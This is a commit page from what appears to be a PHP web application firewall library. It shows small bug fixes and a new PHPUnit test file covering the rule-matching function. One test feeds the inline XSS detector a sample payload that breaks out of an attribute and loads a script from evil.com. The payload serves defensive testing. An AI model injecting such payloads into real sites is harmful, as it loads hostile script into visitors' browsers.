Skip to content

Commit 0d1333b

Browse files
committed
Added: large number of new tests and consistency changes.
1 parent 6d7fa4c commit 0d1333b

4 files changed

Lines changed: 438 additions & 6 deletions

File tree

src/Processor.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -375,7 +375,7 @@ public function matchParameterValue($match, $value)
375375

376376
// If an array of values is in another array of values.
377377
if ($matchType == 'array_in_array' && is_array($value) && is_array($matchValue)) {
378-
return @array_intersect($value, $matchValue);
378+
return @count(@array_intersect($value, $matchValue)) > 0;
379379
}
380380

381381
// If a specific parameter key matches a sub-match condition.

src/Request.php

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -127,7 +127,7 @@ public function getParameterValues($parameter, $data = [])
127127
}
128128

129129
// Special condition for the IP address.
130-
if ($type === 'server' && $t[0] === 'ip') {
130+
if ($type === 'server' && isset($t[0]) && $t[0] === 'ip') {
131131
return [$this->extension->getIpAddress()];
132132
}
133133

@@ -248,12 +248,16 @@ public function applyMutation($mutations, $value)
248248
*/
249249
public function getValuesByWildcard($data, $parameter)
250250
{
251+
if (!is_array($data)) {
252+
return [];
253+
}
254+
251255
// First we want to get the furthest possible down.
252-
$t = explode('.', $parameter);
253-
array_shift($t);
256+
$parameters = explode('.', $parameter);
257+
array_shift($parameters);
254258
$end = $data;
255259
$wildcard = '';
256-
foreach ( $t as $var ) {
260+
foreach ( $parameters as $var ) {
257261

258262
// We hit the wildcard.
259263
if (strpos($var, '*') !== false) {
@@ -277,7 +281,7 @@ public function getValuesByWildcard($data, $parameter)
277281
// Based on the data that is left, find the wildcard matches.
278282
$return = [];
279283
foreach ($end as $key => $value) {
280-
if (stripos($key, $wildcard) !== false) {
284+
if (strpos($key, $wildcard) !== false) {
281285
$return[] = $value;
282286
}
283287
}

tests/ProcessorTest.php

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
<?php
2+
3+
declare(strict_types=1);
4+
5+
use PHPUnit\Framework\TestCase;
6+
use Patchstack\Processor;
7+
use Patchstack\Extensions\Test\Extension;
8+
9+
final class ProcessorTest extends TestCase
10+
{
11+
/**
12+
* @var Processor
13+
*/
14+
protected $processor;
15+
16+
/**
17+
* @var array
18+
*/
19+
protected $rules;
20+
21+
/**
22+
* Setup the test for testing the header location redirect.
23+
*
24+
* @return void
25+
*/
26+
protected function setUp(): void
27+
{
28+
$this->rules = json_decode(file_get_contents(dirname(__FILE__) . '/data/Rules.json'), true);
29+
$this->processor = new Processor(
30+
new Extension(),
31+
$this->rules,
32+
[]
33+
);
34+
}
35+
36+
public function testMatchParameterValue()
37+
{
38+
// Test case for 'equals' type
39+
$match = ['type' => 'equals', 'value' => 10];
40+
$value = 10;
41+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
42+
43+
// Test case for 'equals_strict' type
44+
$match = ['type' => 'equals_strict', 'value' => 10];
45+
$value = '10';
46+
$this->assertFalse($this->processor->matchParameterValue($match, $value));
47+
48+
// Test case for 'more_than' type
49+
$match = ['type' => 'more_than', 'value' => 10];
50+
$value = 15;
51+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
52+
53+
// Test case for 'less_than' type
54+
$match = ['type' => 'less_than', 'value' => 10];
55+
$value = 5;
56+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
57+
58+
// Test case for 'isset' type
59+
$match = ['type' => 'isset'];
60+
$value = 'Hello';
61+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
62+
63+
// Test case for 'ctype_special' type
64+
$match = ['type' => 'ctype_special', 'value' => true];
65+
$value = 'Hello-World123';
66+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
67+
68+
// Test case for 'ctype_digit' type
69+
$match = ['type' => 'ctype_digit', 'value' => false];
70+
$value = '123';
71+
$this->assertFalse($this->processor->matchParameterValue($match, $value));
72+
73+
// Test case for 'ctype_alnum' type
74+
$match = ['type' => 'ctype_alnum', 'value' => true];
75+
$value = 'Hello123';
76+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
77+
78+
// Test case for 'is_numeric' type
79+
$match = ['type' => 'is_numeric', 'value' => true];
80+
$value = '123';
81+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
82+
83+
// Test case for 'contains' type
84+
$match = ['type' => 'contains', 'value' => 'World'];
85+
$value = 'Hello World';
86+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
87+
88+
// Test case for 'not_contains' type
89+
$match = ['type' => 'not_contains', 'value' => 'World'];
90+
$value = 'Hello';
91+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
92+
93+
// Test case for 'quotes' type
94+
$match = ['type' => 'quotes', 'value' => true];
95+
$value = 'Hello "World"';
96+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
97+
98+
// Test case for 'regex' type
99+
$match = ['type' => 'regex', 'value' => '/^\d{2}$/'];
100+
$value = '12';
101+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
102+
103+
// Test case for 'in_array' type
104+
$match = ['type' => 'in_array', 'value' => [1, 2, 3]];
105+
$value = 2;
106+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
107+
108+
// Test case for 'not_in_array' type
109+
$match = ['type' => 'not_in_array', 'value' => [1, 2, 3]];
110+
$value = 4;
111+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
112+
113+
// Test case for 'array_in_array' type
114+
$match = ['type' => 'array_in_array', 'value' => [1, 2, 3]];
115+
$value = [3, 4, 5];
116+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
117+
118+
// Test case for 'inline_xss' type
119+
$match = ['type' => 'inline_xss'];
120+
$value = '"> <script src="https://evil.com/evil.js"></script>';
121+
$this->assertTrue($this->processor->matchParameterValue($match, $value));
122+
123+
$value = 'This is a valid "string".';
124+
$this->assertFalse($this->processor->matchParameterValue($match, $value));
125+
}
126+
}

0 commit comments

Comments
 (0)